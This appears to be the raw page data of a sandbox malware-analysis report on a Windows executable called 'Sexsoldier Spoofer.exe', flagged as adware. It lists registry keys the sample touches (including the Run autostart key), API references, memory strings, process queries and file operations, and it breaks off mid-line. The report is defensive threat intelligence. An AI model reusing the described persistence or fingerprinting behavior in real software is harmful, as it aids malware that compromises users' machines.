24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 7b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4b2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Adware.Lazy.Generic Sample 0a4048ebe7a6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0a4048ebe7a6…. Malware family: Adware.Lazy.Generic. Threat score 100/100. 12/25 AV engines flagged this file. 23 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","keywords":["Malicious","Adware.Lazy.Generic","malware analysis","sandbox report","threat intelligence","0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4"],"about":{"@type":"SoftwareApplication","name":"Sexsoldier Spoofer.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Adware.Lazy.Generic","antivirusDetections":{"malicious":12,"total":25},"behavioralIndicators":{"malicious":23,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T42a,"SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" in Source: sample.bin, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: sample.bin, "SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" in Source: sample.bin, "SOFTWARE\Microsoft\SQMClient" in Source: sample.bin, "SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" in Source: sample.bin, "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: sample.bin, "SOFTWARE\Microsoft\Cryptography" in Source: sample.bin, "SYSTEM\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}" in Source: sample.bin, "SYSTEM\CurrentControlSet\Control\SystemInformation" in Source: sample.bin, "HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral" in Source: sample.bin, "SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName" in Source: sample.bin, "SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0001" in Source: sample.bin, "SYSTEM\CurrentControlSet\Enum\PCI\VEN_10DE&DEV_0DE1&SUBSYS_37621462&REV_A1" in Source: sample.bin26:T8ff,Found reference to API "System.Runtime.InteropServices" (Indicator: "time"; Source: "sample.bin"), Found reference to API "set_CreateNoWindow" (Indicator: "creat"; Source: "sample.bin"), Found reference to API "System.Threading" (Indicator: "read"; Source: "sample.bin"), Found reference to API "Write" (Indicator: "write"; Source: "sample.bin"), Found reference to API "Exiting program..." (Indicator: "exit"; Source: "sample.bin"), Found reference to API "CreateDirectory" (Indicator: "creat"; Source: "sample.bin"), Found reference to API "OpenSubKey" (Indicator: "open"; Source: "sample.bin"), Found reference to API "FileAccess" (Indicator: "access"; Source: "sample.bin"), Found reference to API ">>> TIME HAS COME! Current: {0}, Target: {1}" (Indicator: "time"; Source: "sample.bin"), Found reference to API "System.Runtime.Versioning" (Indicator: "time"; Source: "sample.bin"), file/memory contains long string with (Indicator: "access"; Source: "sample.bin"), file/memory contains long string with (Indicator: "security"; Source: "sample.bin"), Found reference to API "RuntimeCompatibilityAttribute" (Indicator: "time"; Source: "sample.bin"), Found reference to API "ReadAllText" (Indicator: "read"; Source: "sample.bin"), Found reference to API "RuntimeFieldHandle" (Indicator: "time"; Source: "sample.bin"), Found reference to API "Exit" (Indicator: "exit"; Source: "sample.bin"), Found reference to API "Original executable can now be deleted. Exiting original instance..." (Indicator: "exit"; Source: "sample.bin"), Found reference to API "Read" (Indicator: "read"; Source: "sample.bin"), Found reference to API "Close" (Indicator: "close"; Source: "sample.bin"), Found reference to API "Thread" (Indicator: "read"; Source: "sample.bin"), Found reference to API "WriteAllText" (Indicator: "write"; Source: "sample.bin"), Found reference to API "Directory does not exist, creating..." (Indicator: "creat"; Source: "sample.bin"), Found reference to API "ReadAllBytes" (Indicator: "read"; Source: "sample.bin"), Found reference to API "System.Runtime.CompilerServices" (Indicator: "time"; Source: "sample.bin"), Found reference to API "RuntimeHelpers" (Indicator: "time"; Source: "sample.bin"), Found reference to API "Directory created successfully" (Indicator: "creat"; Source: "sample.bin")27:T1373,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.078D8000.00000004.mdmp, 00000000-00002136.00000001.137903.08D33000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp") Found string "2,"System.Management.Automation Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",0" (Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000000.136196.05280000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00002136.00000000.136196.03050000.00000004.mdmp, 00000000-00002136.00000000.136196.05280000.00000004.mdmp, 00000000-00002136.00000001.137903.03050000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp, 00000000-00002136.00000000.136196.07842000.00000004.mdmp, 00000000-00002136.00000001.137903.077FA000.00000004.mdmp, 00000000-00002136.00000001.137903.08C7C000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "[System.Management.Automation.Language.IScriptPosition] $positionOfCursor," (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput(" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\System.Management.Automation.dll" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "System.Management.Automation.dll-Help.xml" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolvePathError"" (Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found string "NDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00002136.00000001.137903.03050000.00000004.mdmp, 00000000-00002136.00000001.137903.07842000.00000004.mdmp") Found string "policy.3.0.System.Management.Automation.resources" (Source: "00000000-00002136.00000001.137903.077FA000.00000004.mdmp")28:T864,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "Sexsoldier Spoofer.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "Sexsoldier Spoofer.exe") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "Sexsoldier Spoofer.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "Sexsoldier Spoofer.exe") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; File: "Sexsoldier Spoofer.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "Sexsoldier Spoofer.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "Sexsoldier Spoofer.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "Sexsoldier Spoofer.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "Sexsoldier Spoofer.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "Sexsoldier Spoofer.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "Sexsoldier Spoofer.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "Sexsoldier Spoofer.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002136.00000000.136196.00EE1000.00000002.mdmp, 00000000-00002136.00000000.136196.70865000.00000002.mdmp")29:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp")2a:T68e,"svchost.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\LOCALSERVER") "svchost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\LOCALSERVER") "svchost.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\ELEVATION") "svchost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\ELEVATION") "svchost.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "svchost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "svchost.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\TREATAS") "svchost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\TREATAS") "svchost.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "svchost.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "svchost.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "svchost.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCSERVER32") "svchost.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{E7D35CFA-348B-485E-B524-252725D697CA}\INPROCHANDLER32")2b:T9db,"conhost.exe" queried SystemProcessInformation at 00000000-00004224-00000C15-1104157258 [PID: 4224] "conhost.exe" queried SystemProcessInformation at 00000000-00004224-00000C15-1104166448 [PID: 4224] "conhost.exe" queried SystemProcessInformation at 00000000-00004224-00000C15-1104474862 [PID: 4224] "conhost.exe" queried SystemProcessInformation at 00000000-00004224-00000C15-1104506944 [PID: 4224] "conhost.exe" queried SystemProcessInformation at 00000000-00004224-00000C15-1104697086 [PID: 4224] "conhost.exe" queried SystemProcessInformation at 00000000-00004224-00000C15-1104704503 [PID: 4224] "conhost.exe" queried SystemProcessInformation at 00000000-00004224-00000C15-1105951065 [PID: 4224] "conhost.exe" queried SystemProcessInformation at 00000000-00004224-00000C15-1105959541 [PID: 4224] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1104666554 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1104674955 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1105052662 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1105073050 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1105759481 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1105767466 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1106009992 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1106018328 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1107146265 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1107181890 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1108169047 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1108177168 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1109017174 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1109025993 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1110320231 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1110340804 [PID: 4952] "svchost.exe" queried SystemProcessInformation at 00000000-00004952-00000C15-1111998595 [PID: 4952]2c:T13ea,"MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdate.exe" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdate.exe" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\CopilotUpdate.exe" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\CopilotUpdate.exe" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdate.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdate.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateCore.exe" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateCore.exe" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeUpdateComRegisterShell64.exe" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\MicrosoftEdgeComRegisterShellARM64.exe" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\MicrosoftEdgeComRegisterShellARM64.exe" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\NOTICE.TXT" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\NOTICE.TXT" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\EdgeUpdate.dat" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\EdgeUpdate.dat" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_af.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_af.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_am.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_am.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ar.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_ar.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_as.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_as.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_az.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_az.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bg.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_bg.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bn.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_bn.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bn-IN.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_bn-IN.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_bs.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_bs.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_ca.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_ca-Es-VALENCIA.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_ca-Es-VALENCIA.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_cs.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_cs.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_cy.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_cy.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_da.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_da.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_de.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_de.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_el.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_el.dll" "MicrosoftEdgeUpdate.exe" renamed original file"C:\Program Files (x86)\Microsoft\Temp\EUDE7D.tmp\msedgeupdateres_en.dll" to "%PROGRAMFILES%\(x86)\Microsoft\EdgeUpdate\1.3.251.5\msedgeupdateres_en.dll"2d:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2e:T1413,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-49-00EDEE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-92-00EDE950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-92-00EDE950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00002136-52215-126-00EDD490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00002136-52215-126-00EDD490 Assembly shows XOR instruction xor 